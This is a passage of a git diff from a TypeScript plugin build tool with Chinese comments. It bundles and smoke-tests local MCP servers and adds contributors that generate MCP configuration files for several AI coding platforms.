存在第三方依赖时返回许可文件路径,否则返回 undefined。 - */ -async function writeThirdPartyLicenses(chunk: OutputChunk, directory: string): Promise { - /** 按包名和版本去重的许可记录。 */ - const records = new Map(); - /** moduleId 表示当前 Bundle Module,用于追溯第三方许可。 */ - for (const moduleId of Object.keys(chunk.modules).sort(compareCodeUnits)) { - /** 当前 Bundle Module 所属的可选第三方包许可。 */ - const record = await packageLicenseForModule(moduleId); - if (record !== undefined) - records.set(`${record.name}@${record.version}`, record); - } - if (records.size === 0) - return undefined; - /** 按确定顺序拼接的许可文件段落。 */ - const sections = ['THIRD-PARTY LICENSES']; - /** [id, record] 表示当前许可记录,用于输出稳定法律文本。 */ - for (const [id, record] of [...records].sort(([left], [right]) => compareCodeUnits(left, right))) { - sections.push(`## ${id}\nSPDX: ${record.license}`); - /** notice 表示当前包的一个 LICENSE 或 NOTICE 文件。 */ - for (const notice of record.notices) - sections.push(`### ${notice.name}\n${notice.text}`); - } - /** 与 Server 一同发布的第三方许可文件路径。 */ - const destination = path.join(directory, 'THIRD_PARTY_LICENSES.txt'); - await fs.writeFile(destination, `${sections.join('\n\n')}\n`); - return destination; -} - -/** - * 判断 Bundle 模块图是否包含 Node 原生扩展。 - * - * @param moduleId Rolldown 输出记录的 Module ID。 - * @returns 文件扩展名是 `.node` 时返回 true。 - */ -function isNativeAddon(moduleId: string): boolean { - /** 去掉查询参数后的真实模块路径。 */ - const normalized = moduleId.replace(/\?.*$/u, ''); - return path.extname(normalized) === '.node'; -} - -/** - * 判断最终 Bundle 是否仍包含无法在构建期解析的动态 import 表达式。 - * - * 字面量动态导入会被 Rolldown 内联,或作为允许的 `node:` external 保留;运行时表达式 - * 无法证明其代码和文件已经进入交付单元,因此必须拒绝。 - * - * @param code Rolldown 生成的单 Chunk JavaScript。 - * @returns 存在非字符串字面量 ImportExpression 时返回 true。 - */ -function hasUnresolvedDynamicImport(code: string): boolean { - /** 使用宽只读对象遍历 ESTree,避免绑定解析器内部节点联合类型。 */ - const pending: unknown[] = [parseAst(code)]; - while (pending.length > 0) { - /** 当前待检查的语法树节点或容器。 */ - const value = pending.pop(); - if (value === null || typeof value !== 'object') - continue; - if (Array.isArray(value)) { - pending.push(...value); - continue; - } - /** 只读取 ESTree 公共 type/source/value 字段的节点视图。 */ - const node = value as Record; - if (node.type === 'ImportExpression') { - /** 动态导入参数必须是构建器能够静态识别的字符串字面量。 */ - const source = node.source as Record | undefined; - if (source?.type !== 'Literal' || typeof source.value !== 'string') - return true; - } - pending.push(...Object.values(node)); - } - return false; -} - -/** - * 把 Rolldown 实际解析的 Server 模块图登记给 Core。 - * - * @param context 当前 Extension build 上下文。 - * @param moduleIds 输出 Chunk 中的全部模块 ID。 - */ -function registerBundleWatchFiles(context: ExtensionBuildContext, moduleIds: readonly string[]): void { - for (const moduleId of moduleIds) { - /** 查询参数不属于文件名,虚拟模块与相对 ID也不能交给文件监听器。 */ - const file = moduleId.replace(/\?.*$/u, ''); - if (path.isAbsolute(file)) - context.addWatchFile(file); - } -} - -/** - * 判断 JSON-RPC 值是否是可安全读取字段的普通对象。 - * - * @param value 从 Server stdout 解析出的未知 JSON 值。 - * @returns 非数组对象返回 true。 - */ -function isRecord(value: unknown): value is Record { - return value !== null && typeof value === 'object' && !Array.isArray(value); -} - -/** - * 使用最小无 Secret 环境真实执行 initialize、initialized 与 tools/list。 - * - * Server stdout 只允许换行分隔的 JSON-RPC 消息。原始 stdout/stderr 永不进入错误、 - * Diagnostic 或 Artifact;超时和输出上限同时阻止构建被不可信实现无限占用。 - * - * @param server 已生成的 Node 20 ESM Bundle。 - * @param definition 作者声明的 stdio 环境映射。 - * @returns 成功时返回 undefined,失败时返回固定类别。 - */ -async function smokeTestServer( - server: string, - definition: Extract, -): Promise { - /** 只有明确公开的 literal 值进入探测进程;env 引用对应的宿主 Secret 不会被读取。 */ - const environment = Object.fromEntries(Object.entries(definition.env ?? {}) - .filter((entry): entry is [string, { readonly value: string }] => 'value' in entry[1]) - .map(([name, source]) => [name, source.value])); - - return new Promise((resolve) => { - /** 不经过 shell 的受限 Node 子进程。 */ - const child = spawn(process.execPath, [server], { - env: environment, - stdio: ['pipe', 'pipe', 'pipe'], - }); - /** 跨 stdout/stderr 共同计算、但永不持久化的输出字节数。 */ - let outputBytes = 0; - /** stdout 分块之间尚未形成完整 JSON 行的尾部。 */ - let stdoutBuffer = ''; - /** initialize 成功后才允许接受 tools/list 响应。 */ - let initialized = false; - /** tools/list 成功后等待子进程关闭再报告成功。 */ - let succeeded = false; - /** 保证所有错误、close 与 timeout 竞争只结算一次。 */ - let settled = false; - /** finish 请求后等待 close 时保存的稳定最终结果。 */ - let finalFailure: McpSmokeFailure | undefined; - /** SIGTERM 后兜底使用 SIGKILL 的短定时器。 */ - let forceKill: NodeJS.Timeout | undefined; - - /** - * 结束探测并确保子进程不会遗留活动句柄。 - * - * @param failure 固定失败类别;省略表示协议已成功完成。 - */ - const finish = (failure?: McpSmokeFailure): void => { - if (settled) - return; - settled = true; - finalFailure = failure; - clearTimeout(timeout); - child.stdin.destroy(); - if (child.exitCode === null && child.signalCode === null) { - child.kill('SIGTERM'); - forceKill = setTimeout(() => child.kill('SIGKILL'), 250); - forceKill.unref(); - } else { - resolve(finalFailure); - } - }; - - /** 总时限覆盖启动、两个请求与进程通信。 */ - const timeout = setTimeout(() => finish('timeout'), MCP_SMOKE_TIMEOUT_MS); - timeout.unref(); - - /** - * 处理单个完整 JSON-RPC stdout 行。 - * - * @param line 不含行尾的协议消息。 - */ - const consumeLine = (line: string): void => { - if (line.length === 0 || settled) - return; - /** 当前 stdout 行解析出的 JSON-RPC 候选。 */ - let message: unknown; - try { - message = JSON.parse(line); - } catch { - finish('protocol'); - return; - } - if (!isRecord(message) || message.jsonrpc !== '2.0') { - finish('protocol'); - return; - } - if (message.id === 1) { - /** initialize 响应必须给出版本、能力和 Server 身份。 */ - const result = message.result; - if (initialized || !isRecord(result) || typeof result.protocolVersion !== 'string' - || !isRecord(result.capabilities) || !isRecord(result.serverInfo) - || typeof result.serverInfo.name !== 'string' || typeof result.serverInfo.version !== 'string') { - finish('protocol'); - return; - } - initialized = true; - child.stdin.write(`${JSON.stringify({ jsonrpc: '2.0', method: 'notifications/initialized' })}\n`); - child.stdin.write(`${JSON.stringify({ jsonrpc: '2.0', id: 2, method: 'tools/list', params: {} })}\n`); - return; - } - if (message.id === 2) { - /** tools/list 必须发生在 initialize 之后并返回数组。 */ - if (!initialized || !isRecord(message.result) || !Array.isArray(message.result.tools)) { - finish('protocol'); - return; - } - succeeded = true; - finish(); - } - // Server 主动发送的通知不影响两个必需响应,未知 response ID 也不会泄漏内容。 - }; - - child.stdout.setEncoding('utf8'); - child.stderr.setEncoding('utf8'); - child.stdout.on('data', (chunk: string) => { - outputBytes += Buffer.byteLength(chunk); - if (outputBytes > MCP_SMOKE_OUTPUT_LIMIT) { - finish('output-limit'); - return; - } - stdoutBuffer += chunk; - /** 一次分块可能包含多个完整 JSON-RPC 行。 */ - const lines = stdoutBuffer.split('\n'); - stdoutBuffer = lines.pop() ?? ''; - for (const line of lines) - consumeLine(line.endsWith('\r') ? line.slice(0, -1) : line); - }); - child.stderr.on('data', (chunk: string) => { - outputBytes += Buffer.byteLength(chunk); - if (outputBytes > MCP_SMOKE_OUTPUT_LIMIT) - finish('output-limit'); - }); - child.once('error', () => finish('spawn')); - child.once('close', () => { - if (forceKill) - clearTimeout(forceKill); - if (!settled) { - settled = true; - clearTimeout(timeout); - finalFailure = succeeded ? undefined : 'process-exit'; - } - resolve(finalFailure); - }); - - /** 第一条请求固定使用公开协议版本,不包含工程配置或环境值。 */ - child.stdin.write(`${JSON.stringify({ - jsonrpc: '2.0', - id: 1, - method: 'initialize', - params: { - protocolVersion: '2025-11-25', - capabilities: {}, - clientInfo: { name: 'acplugin-build', version: '1.0.0' }, - }, - })}\n`); - }); -} - -/** - * 将完整本地 MCP 实现打包为单文件 Node 20 ESM,并收集第三方许可。 - * - * @param entry 用户提供的本地 Server TypeScript 入口。 - * @param directory Extension 工作目录中的目标 Server 目录。 - * @returns 可由 Adapter 贡献的 Server 与可选许可文件。 - */ -async function bundleServer( - context: ExtensionBuildContext, - entry: string, - directory: string, -): Promise { - /** 保留 Node 内置模块为 external 的内存构建结果。 */ - const output = await rolldownBuild({ - input: entry, - platform: 'node', - transform: { target: 'node20' }, - external: [/^node:/u], - write: false, - output: { - format: 'esm', - sourcemap: false, - codeSplitting: false, - comments: { legal: true }, - }, - }); - /** 构建产生的 JavaScript Chunk;协议要求严格只有一个。 */ - const chunks = output.output.filter((item): item is OutputChunk => item.type === 'chunk'); - if (chunks.length !== 1 || output.output.some(item => item.type === 'asset')) - throw new Error('Local MCP Server must bundle to one JavaScript chunk and no assets.'); - /** 唯一输出 Chunk,用于原生依赖检查、写入和许可收集。 */ - const chunk = chunks[0]!; - if (Object.keys(chunk.modules).some(isNativeAddon)) - throw new Error('Local MCP Server includes an unsupported native addon.'); - if (hasUnresolvedDynamicImport(chunk.code)) - throw new Error('Local MCP Server contains an unresolved dynamic import.'); - registerBundleWatchFiles(context, Object.keys(chunk.modules)); - await fs.mkdir(directory, { recursive: true }); - /** 最终贡献给交付单元的独立 ESM Server。 */ - const server = path.join(directory, 'server.mjs'); - await fs.writeFile(server, chunk.code); - /** Bundle 包含第三方依赖时生成的许可汇总。 */ - const licenses = await writeThirdPartyLicenses(chunk, directory); - return Object.freeze({ server, ...(licenses === undefined ? {} : { licenses }) }); -} - -/** - * 为全部已验证 stdio Server 各生成一次平台中立 Bundle。 - * - * @param context Core 提供的 Extension 隔离工作目录。 - * @param discovered 已通过 validate 阶段的 MCP 状态。 - * @returns 可由多个 Platform Adapter 复用的稳定 Built State。 - */ -export async function buildMcpServers( - context: ExtensionBuildContext, - discovered: Readonly, -): Promise { - /** 按发现顺序构建并保存定义的 Server 列表。 */ - const servers: BuiltMcpServer[] = []; - for (const server of discovered.servers) { - if (server.definition.transport === 'stdio') { - /** validate 已确认留在 Server 目录内的本地入口。 */ - const entry = path.resolve(server.directory, server.definition.entry ?? './server.ts'); - /** 当前 Server 独占的 Bundle 工作目录。 */ - const directory = path.join(context.workDir, server.id); - /** 当前 Server 生成且即将进行真实协议探测的 Bundle。 */ - const bundle = await bundleServer(context, entry, directory); - /** 探测结果只保留固定分类,禁止把子进程输出带入报告。 */ - const smokeFailure = await smokeTestServer(bundle.server, server.definition); - if (smokeFailure !== undefined) { - context.reportDiagnostic({ - code: 'MCP_STDIO_SMOKE_FAILED', - severity: 'error', - message: `Local MCP Server "${server.id}" failed initialize/tools/list smoke (${smokeFailure}).`, - location: { - path: path.relative(context.project.root, server.descriptorPath).split(path.sep).join('/'), - }, - }); - } - servers.push(Object.freeze({ - id: server.id, - definition: server.definition, - bundle, - })); - } else { - servers.push(Object.freeze({ id: server.id, definition: server.definition })); - } - } - return Object.freeze({ servers: Object.freeze(servers) }); -} diff --git a/packages/extensions/mcp/src/constants.ts b/packages/extensions/mcp/src/constants.ts index 799656e..823aafe 100644 --- a/packages/extensions/mcp/src/constants.ts +++ b/packages/extensions/mcp/src/constants.ts @@ -1,30 +1,6 @@ /** MCP Extension 的稳定包名、配置名和诊断身份。 */ export const EXTENSION_NAME = '@tokenroll/acplugin-extension-mcp'; -/** Claude Code 官方 Platform 的稳定 ID。 */ -export const CLAUDE_CODE_PLATFORM_ID = 'claude-code'; - -/** Codex 官方 Platform 的稳定 ID。 */ -export const CODEX_PLATFORM_ID = 'codex'; - -/** Cursor 官方 Platform 的稳定 ID。 */ -export const CURSOR_PLATFORM_ID = 'cursor'; - -/** Antigravity 官方 Platform 的稳定 ID。 */ -export const ANTIGRAVITY_PLATFORM_ID = 'antigravity'; - -/** OpenCode 官方 Platform 的稳定 ID。 */ -export const OPENCODE_PLATFORM_ID = 'opencode'; - -/** Pi 官方 Platform 的稳定 ID。 */ -export const PI_PLATFORM_ID = 'pi'; - -/** Claude Code 与 Codex Platform 共同公开的 Plugin Manifest 逻辑 ID。 */ -export const PLUGIN_MANIFEST_ID = 'plugin-manifest'; - -/** 默认平台共同使用的 MCP 配置文件路径。 */ -export const MCP_MANIFEST_PATH = '.mcp.json'; - /** MCP 一级目录接受的小写 kebab-case 格式。 */ export const MCP_ID_PATTERN: RegExp = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; diff --git a/packages/extensions/mcp/src/contributors/antigravity.ts b/packages/extensions/mcp/src/contributors/antigravity.ts new file mode 100644 index 0000000..8a43502 --- /dev/null +++ b/packages/extensions/mcp/src/contributors/antigravity.ts @@ -0,0 +1,68 @@ +import type { ContributionContext, JsonValue, PlatformContributor } from '@tokenroll/acplugin/sdk'; +import type { BuiltMcpServer, BuiltMcpServers } from '../build.js'; +import { + addJsonAsset, + collector, + finishContribution, + mapValues, + reportAuth, + reportTransport, + serverSubjects, +} from './common.js'; + +/** @returns Antigravity 远程 MCP descriptor。 */ +function descriptor(server: BuiltMcpServer): JsonValue { + if (server.definition.transport !== 'http') + throw new TypeError('Antigravity only accepts remote MCP descriptors.'); + /** values 保存公开 Header 与环境引用。 */ + const values = mapValues(server.definition.headers); + /** headers 使用 Antigravity 的运行时环境插值。 */ + const headers: Record = { + ...values.literal, + ...Object.fromEntries(Object.entries(values.environment).map(([key, name]) => [key, `\${${name}}`])), + }; + if (server.definition.auth?.type === 'bearer') + headers.Authorization = `Bearer \${${server.definition.auth.env}}`; + return { + type: 'http', + url: server.definition.url, + ...(Object.keys(headers).length === 0 ? {} : { headers }), + }; +} + +/** Antigravity Contributor 只交付拥有稳定协议的远程 HTTP MCP。 */ +export const antigravityContributor: PlatformContributor = Object.freeze({ + platform: 'antigravity', + platformApiVersion: '1', + /** 生成 Antigravity remote-only MCP 配置。 */ + async contribute(context: ContributionContext, built: Readonly) { + /** output 汇聚当前 owner 的 Assets 和 compatibility。 */ + const output = collector(); + /** remote 保存最终会进入 Antigravity 配置的 Server。 */ + const remote: BuiltMcpServer[] = []; + for (const server of built.servers) { + if (server.definition.transport === 'stdio') { + reportTransport(output, server, 'unsupported', 'Antigravity has no verified Plugin-local stdio MCP delivery contract.'); + continue; + } + remote.push(server); + reportTransport(output, server, 'native', 'Antigravity supports remote MCP transport.'); + /** 显式 scopes 无法进入 Antigravity 当前静态 descriptor。 */ + const losesScopes = server.definition.auth?.type === 'oauth' && server.definition.auth.scopes !== undefined; + reportAuth( + output, + server, + losesScopes ? 'degraded' : 'native', + losesScopes + ? 'Antigravity cannot preserve configured OAuth scopes in this descriptor.' + : 'Antigravity preserves this MCP authentication policy.', + ); + } + if (remote.length === 0) + return finishContribution(output); + /** descriptors 只包含 remote Server。 */ + const descriptors = Object.fromEntries(remote.map(server => [server.id, descriptor(server)])); + await addJsonAsset(context, output, 'mcp_config.json', { mcpServers: descriptors }, serverSubjects(remote)); + return finishContribution(output); + }, +}); diff --git a/packages/extensions/mcp/src/contributors/claude-code.ts b/packages/extensions/mcp/src/contributors/claude-code.ts new file mode 100644 index 0000000..7685e76 --- /dev/null +++ b/packages/extensions/mcp/src/contributors/claude-code.ts @@ -0,0 +1,73 @@ +import type { ContributionContext, JsonValue, PlatformContributor } from '@tokenroll/acplugin/sdk'; +import type { BuiltMcpServer, BuiltMcpServers } from '../build.js'; +import { + addJsonAsset, + addLocalRuntime, + collector, + finishContribution, + mapValues, + reportAuth, + reportTransport, + serverSubjects, +} from './common.js'; + +/** @returns Claude Code 原生 MCP descriptor。 */ +function descriptor(server: BuiltMcpServer): JsonValue { + /** definition 是经过 Extension 验证的纯数据快照。 */ + const definition = server.definition; + if (definition.transport === 'stdio') { + /** Claude Code env 字段允许 Plugin 运行时环境引用。 */ + const values = mapValues(definition.env); + /** env 合并公开字面量与不会在构建阶段求值的引用。 */ + const environment = { + ...values.literal, + ...Object.fromEntries(Object.entries(values.environment).map(([key, name]) => [key, `\${${name}}`])), + }; + return { + type: 'stdio', + command: 'node', + args: [`\${CLAUDE_PLUGIN_ROOT}/mcp/${server.id}/server.mjs`], + ...(Object.keys(environment).length === 0 ? {} : { env: environment }), + }; + } + /** HTTP Header 使用 Claude Code 的环境变量插值。 */ + const values = mapValues(definition.headers); + /** headers 保留作者字段名和运行时引用。 */ + const headers: Record = { + ...values.literal, + ...Object.fromEntries(Object.entries(values.environment).map(([key, name]) => [key, `\${${name}}`])), + }; + if (definition.auth?.type === 'bearer') + headers.Authorization = `Bearer \${${definition.auth.env}}`; + return { + type: 'http', + url: definition.url, + ...(Object.keys(headers).length === 0 ? {} : { headers }), + ...(definition.auth?.type === 'oauth' + ? { oauth: definition.auth.scopes === undefined ? {} : { scopes: definition.auth.scopes.join(' ') } } + : {}), + }; +} + +/** Claude Code Contributor 交付 Plugin-local stdio 与远程 HTTP MCP。 */ +export const claudeCodeContributor: PlatformContributor = Object.freeze({ + platform: 'claude-code', + platformApiVersion: '1', + /** 生成 Claude Code MCP 配置和本地 Bundle 引用。 */ + async contribute(context: ContributionContext, built: Readonly) { + /** output 汇聚当前 owner 的 Assets 和 compatibility。 */ + const output = collector(); + for (const server of built.servers) { + reportTransport(output, server, 'native', 'Claude Code supports this MCP transport.'); + reportAuth(output, server, 'native', 'Claude Code preserves this MCP authentication policy.'); + if (server.definition.transport === 'stdio') + addLocalRuntime(output, server, 'mcp'); + } + if (built.servers.length === 0) + return finishContribution(output); + /** descriptors 按已稳定排序的 Built State 创建。 */ + const descriptors = Object.fromEntries(built.servers.map(server => [server.id, descriptor(server)])); + await addJsonAsset(context, output, '.mcp.json', { mcpServers: descriptors }, serverSubjects(built.servers)); + return finishContribution(output, [{ document: 'plugin-manifest', path: ['mcpServers'], value: './.mcp.json' }]); + }, +}); diff --git a/packages/extensions/mcp/src/contributors/codex.ts b/packages/extensions/mcp/src/contributors/codex.ts new file mode 100644 index 0000000..0acab50 --- /dev/null +++ b/packages/extensions/mcp/src/contributors/codex.ts @@ -0,0 +1,61 @@ +import type { ContributionContext, JsonValue, PlatformContributor } from '@tokenroll/acplugin/sdk'; +import type { BuiltMcpServer, BuiltMcpServers } from '../build.js'; +import { + addJsonAsset, + addLocalRuntime, + collector, + finishContribution, + mapValues, + reportAuth, + reportTransport, + serverSubjects, +} from './common.js'; + +/** @returns Codex 原生 MCP descriptor。 */ +function descriptor(server: BuiltMcpServer): JsonValue { + /** definition 是平台中立 MCP 描述。 */ + const definition = server.definition; + if (definition.transport === 'stdio') { + /** Codex 分离公开 env 和由宿主透传的变量名。 */ + const values = mapValues(definition.env); + return { + command: 'node', + args: [`./mcp/${server.id}/server.mjs`], + cwd: '.', + ...(Object.keys(values.literal).length === 0 ? {} : { env: values.literal }), + ...(Object.keys(values.environment).length === 0 ? {} : { env_vars: Object.values(values.environment) }), + }; + } + /** Codex 为字面量和环境引用 Header 提供独立字段。 */ + const values = mapValues(definition.headers); + return { + url: definition.url, + ...(definition.auth?.type === 'bearer' ? { bearer_token_env_var: definition.auth.env } : {}), + ...(definition.auth?.type === 'oauth' && definition.auth.scopes !== undefined ? { scopes: definition.auth.scopes } : {}), + ...(Object.keys(values.literal).length === 0 ? {} : { http_headers: values.literal }), + ...(Object.keys(values.environment).length === 0 ? {} : { env_http_headers: values.environment }), + }; +} + +/** Codex Contributor 交付 Plugin-local stdio 与 Streamable HTTP MCP。 */ +export const codexContributor: PlatformContributor = Object.freeze({ + platform: 'codex', + platformApiVersion: '1', + /** 生成 Codex MCP 配置和本地 Bundle 引用。 */ + async contribute(context: ContributionContext, built: Readonly) { + /** output 汇聚当前 owner 的 Assets 和 compatibility。 */ + const output = collector(); + for (const server of built.servers) { + reportTransport(output, server, 'native', 'Codex supports this MCP transport.'); + reportAuth(output, server, 'native', 'Codex preserves this MCP authentication policy.'); + if (server.definition.transport === 'stdio') + addLocalRuntime(output, server, 'mcp'); + } + if (built.servers.length === 0) + return finishContribution(output); + /** descriptors 按已稳定排序的 Built State 创建。 */ + const descriptors = Object.fromEntries(built.servers.map(server => [server.id, descriptor(server)])); + await addJsonAsset(context, output, '.mcp.json', descriptors, serverSubjects(built.servers)); + return finishContribution(output, [{ document: 'plugin-manifest', path: ['mcpServers'], value: './.mcp.json' }]); + }, +}); diff --git a/packages/extensions/mcp/src/contributors/common.ts b/packages/extensions/mcp/src/contributors/common.ts new file mode 100644 index 0000000..a510327 --- /dev/null +++ b/packages/extensions/mcp/src/contributors/common.ts @@ -0,0 +1,128 @@ +import { + stableJson, + type CompatibilityInput, + type ContributionContext, + type JsonValue, + type PackageAssetInput, + type PackageContribution, +} from '@tokenroll/acplugin/sdk'; +import type { BuiltMcpServer } from '../build.js'; +import { compareCodeUnits } from '../sorting.js'; + +/** MCP Contributor 构建结果时使用的 mutable 收集器。 */ +export interface ContributionCollector { + readonly assets: PackageAssetInput[]; + readonly compatibility: CompatibilityInput[]; +} + +/** ValueSource 按目标协议拆分后的公开字面量和环境引用。 */ +export interface MappedValues { + readonly literal: Readonly>; + readonly environment: Readonly>; +} + +/** 将 ValueSource 转换为稳定排序的公开字面量和环境变量名称。 */ +export function mapValues( + input: Readonly> | undefined, +): MappedValues { + /** literal 只包含作者明确允许写入产物的字符串。 */ + const literal: Record = {}; + /** environment 只包含变量名称,绝不读取构建环境。 */ + const environment: Record = {}; + /** 键顺序由确定性 code-unit comparator 固定。 */ + const entries = Object.entries(input ?? {}).sort(([left], [right]) => compareCodeUnits(left, right)); + for (const [key, source] of entries) { + if (source.value !== undefined) + literal[key] = source.value; + else if (source.env !== undefined) + environment[key] = source.env; + } + return Object.freeze({ literal: Object.freeze(literal), environment: Object.freeze(environment) }); +} + +/** 创建一个空的 Contributor 收集器。 */ +export function collector(): ContributionCollector { + return { assets: [], compatibility: [] }; +} + +/** 记录当前平台对一个 MCP transport 的真实支持级别。 */ +export function reportTransport( + output: ContributionCollector, + server: BuiltMcpServer, + level: 'native' | 'unsupported', + reason: string, +): void { + output.compatibility.push(Object.freeze({ + subject: `mcp:${server.id}`, + capability: `transport.${server.definition.transport}`, + level, + reason, + })); +} + +/** 记录可交付 HTTP Server 的认证语义支持级别。 */ +export function reportAuth( + output: ContributionCollector, + server: BuiltMcpServer, + level: 'native' | 'degraded', + reason: string, +): void { + if (server.definition.transport !== 'http' || server.definition.auth === undefined) + return; + output.compatibility.push(Object.freeze({ + subject: `mcp:${server.id}`, + capability: `auth.${server.definition.auth.type}`, + level, + reason, + })); +} + +/** 把同一个 Core Bundle 映射到当前 Platform 固定的本地 MCP 根。 */ +export function addLocalRuntime( + output: ContributionCollector, + server: BuiltMcpServer, + root: string, +): void { + if (server.handler === undefined) + throw new Error(`MCP Server "${server.id}" has no compiled handler.`); + output.assets.push(Object.freeze({ path: `${root}/${server.id}/server.mjs`, asset: server.handler })); + if (server.licenses !== undefined) { + output.assets.push(Object.freeze({ + path: `${root}/${server.id}/THIRD_PARTY_LICENSES.txt`, + asset: server.licenses, + })); + } +} + +/** 通过 Core Asset Service 创建稳定 JSON Package Asset。 */ +export async function addJsonAsset( + context: ContributionContext, + output: ContributionCollector, + path: string, + value: JsonValue, + subjects: readonly string[], +): Promise { + /** JSON bytes 由公开稳定 codec 产生,不写 dist 或自建 workDir。 */ + const asset = await context.assets.fromBytes({ + bytes: stableJson(value), + origin: { operation: 'mcp-platform-config', subjects }, + }); + output.assets.push(Object.freeze({ path, asset })); +} + +/** 完成不可变且 add-only 的 Package Contribution。 */ +export function finishContribution( + output: ContributionCollector, + documentFields: PackageContribution['documentFields'] = [], +): PackageContribution { + return Object.freeze({ + ...(output.assets.length === 0 ? {} : { assets: Object.freeze(output.assets) }), + ...(documentFields.length === 0 ? {} : { documentFields: Object.freeze([...documentFields]) }), + compatibility: Object.freeze(output.compatibility), + }); +} + +/** @returns 当前实际交付 Server 的稳定 compatibility subject 列表。 */ +export function serverSubjects(servers: readonly BuiltMcpServer[]): readonly string[] { + return Object.freeze(servers.map(server => `mcp:${server.id}`)); +} diff --git a/packages/extensions/mcp/src/contributors/cursor.ts b/packages/extensions/mcp/src/contributors/cursor.ts new file mode 100644 index 0000000..2505ccd --- /dev/null +++ b/packages/extensions/mcp/src/contributors/cursor.ts @@ -0,0 +1,64 @@ +import type { ContributionContext, JsonValue, PlatformContributor } from '@tokenroll/acplugin/sdk'; +import type { BuiltMcpServer, BuiltMcpServers } from '../build.js'; +import { + addJsonAsset, + collector, + finishContribution, + mapValues, + reportAuth, + reportTransport, + serverSubjects, +} from './common.js'; + +/** @returns Cursor 远程 MCP descriptor。 */ +function descriptor(server: BuiltMcpServer): JsonValue { + if (server.definition.transport !== 'http') + throw new TypeError('Cursor only accepts remote MCP descriptors.'); + /** values 保存公开 Header 与环境引用。 */ + const values = mapValues(server.definition.headers); + /** headers 使用 Cursor 的 env 插值语法。 */ + const headers: Record = { + ...values.literal, + ...Object.fromEntries(Object.entries(values.environment).map(([key, name]) => [key, `\${env:${name}}`])), + }; + if (server.definition.auth?.type === 'bearer') + headers.Authorization = `Bearer \${env:${server.definition.auth.env}}`; + return { url: server.definition.url, ...(Object.keys(headers).length === 0 ? {} : { headers }) }; +} + +/** Cursor Contributor 只交付拥有稳定协议的远程 HTTP MCP。 */ +export const cursorContributor: PlatformContributor = Object.freeze({ + platform: 'cursor', + platformApiVersion: '1', + /** 生成 Cursor remote-only MCP 配置。 */ + async contribute(context: ContributionContext, built: Readonly) { + /** output 汇聚当前 owner 的 Assets 和 compatibility。 */ + const output = collector(); + /** remote 保存最终会进入 Cursor 配置的 Server。 */ + const remote: BuiltMcpServer[] = []; + for (const server of built.servers) { + if (server.definition.transport === 'stdio') { + reportTransport(output, server, 'unsupported', 'Cursor has no verified Plugin-local stdio MCP delivery contract.'); + continue; + } + remote.push(server); + reportTransport(output, server, 'native', 'Cursor supports remote MCP transport.'); + /** 显式 scopes 无法进入 Cursor 当前静态 descriptor。 */ + const losesScopes = server.definition.auth?.type === 'oauth' && server.definition.auth.scopes !== undefined; + reportAuth( + output, + server, + losesScopes ? 'degraded' : 'native', + losesScopes + ? 'Cursor negotiates OAuth but cannot preserve configured OAuth scopes in this descriptor.' + : 'Cursor preserves this MCP authentication policy.', + ); + } + if (remote.length === 0) + return finishContribution(output); + /** descriptors 只包含 remote Server。 */ + const descriptors = Object.fromEntries(remote.map(server => [server.id, descriptor(server)])); + await addJsonAsset(context, output, 'mcp.json', { mcpServers: descriptors }, serverSubjects(remote)); + return finishContribution(output, [{ document: 'plugin-manifest', path: ['mcpServers'], value: './mcp.json' }]); + }, +}); diff --git a/packages/extensions/mcp/src/contributors/index.ts b/packages/extensions/mcp/src/contributors/index.ts new file mode 100644 index 0000000..27d57a0 --- /dev/null +++ b/packages/extensions/mcp/src/contributors/index.ts @@ -0,0 +1,20 @@ +import type { PlatformContributor } from '@tokenroll/acplugin/sdk'; +import type { BuiltMcpServers } from '../build.js'; +import { antigravityContributor } from './antigravity.js'; +import { claudeCodeContributor } from './claude-code.js'; +import { codexContributor } from './codex.js'; +import { cursorContributor } from './cursor.js'; +import { openCodeContributor } from './opencode.js'; +import { piContributor } from './pi.js'; + +/** @returns 六个互不观察、只消费同一 MCP Built State 的官方 Contributors。 */ +export function createMcpContributors(): readonly PlatformContributor[] { + return Object.freeze([ + claudeCodeContributor, + codexContributor, + cursorContributor, + antigravityContributor, + openCodeContributor, + piContributor, + ]); +} diff --git a/packages/extensions/mcp/src/contributors/opencode.ts b/packages/extensions/mcp/src/contributors/opencode.ts new file mode 100644 index 0000000..d4d0aec --- /dev/null +++ b/packages/extensions/mcp/src/contributors/opencode.ts @@ -0,0 +1,69 @@ +import type { ContributionContext, JsonValue, PlatformContributor } from '@tokenroll/acplugin/sdk'; +import type { BuiltMcpServer, BuiltMcpServers } from '../build.js'; +import { + addLocalRuntime, + collector, + finishContribution, + mapValues, + reportAuth, + reportTransport, +} from './common.js'; + +/** @returns OpenCode 原生 local/remote MCP descriptor。 */ +function descriptor(server: BuiltMcpServer): JsonValue { + /** definition 是平台中立 MCP 描述。 */ + const definition = server.definition; + if (definition.transport === 'stdio') { + /** OpenCode environment 允许字面量和运行时 env 引用。 */ + const values = mapValues(definition.env); + /** environment 保留 canonical key 到宿主变量名的映射。 */ + const environment = { + ...values.literal, + ...Object.fromEntries(Object.entries(values.environment).map(([key, name]) => [key, `{env:${name}}`])), + }; + return { + type: 'local', + command: ['node', `./.opencode/mcp/${server.id}/server.mjs`], + ...(Object.keys(environment).length === 0 ? {} : { environment }), + }; + } + /** OpenCode remote Header 使用运行时 env 引用。 */ + const values = mapValues(definition.headers); + /** headers 保留作者字段名。 */ + const headers: Record = { + ...values.literal, + ...Object.fromEntries(Object.entries(values.environment).map(([key, name]) => [key, `{env:${name}}`])), + }; + if (definition.auth?.type === 'bearer') + headers.Authorization = `Bearer {env:${definition.auth.env}}`; + return { + type: 'remote', + url: definition.url, + ...(Object.keys(headers).length === 0 ? {} : { headers }), + ...(definition.auth?.type === 'oauth' + ? { oauth: definition.auth.scopes === undefined ? {} : { scope: definition.auth.scopes.join(' ') } } + : {}), + }; +} + +/** OpenCode Contributor 只扩展 Platform 拥有的 workspace-config Document。 */ +export const openCodeContributor: PlatformContributor = Object.freeze({ + platform: 'opencode', + platformApiVersion: '1', + /** 追加 OpenCode MCP Document 字段和 Plugin-local Bundle。 */ + contribute(_context: ContributionContext, built: Readonly) { + /** output 汇聚当前 owner 的 Assets 和 compatibility。 */ + const output = collector(); + for (const server of built.servers) { + reportTransport(output, server, 'native', 'OpenCode supports this MCP transport.'); + reportAuth(output, server, 'native', 'OpenCode preserves this MCP authentication policy.'); + if (server.definition.transport === 'stdio') + addLocalRuntime(output, server, '.opencode/mcp'); + } + if (built.servers.length === 0) + return finishContribution(output); + /** workspace-config.mcp 是唯一配置来源,不生成 sidecar。 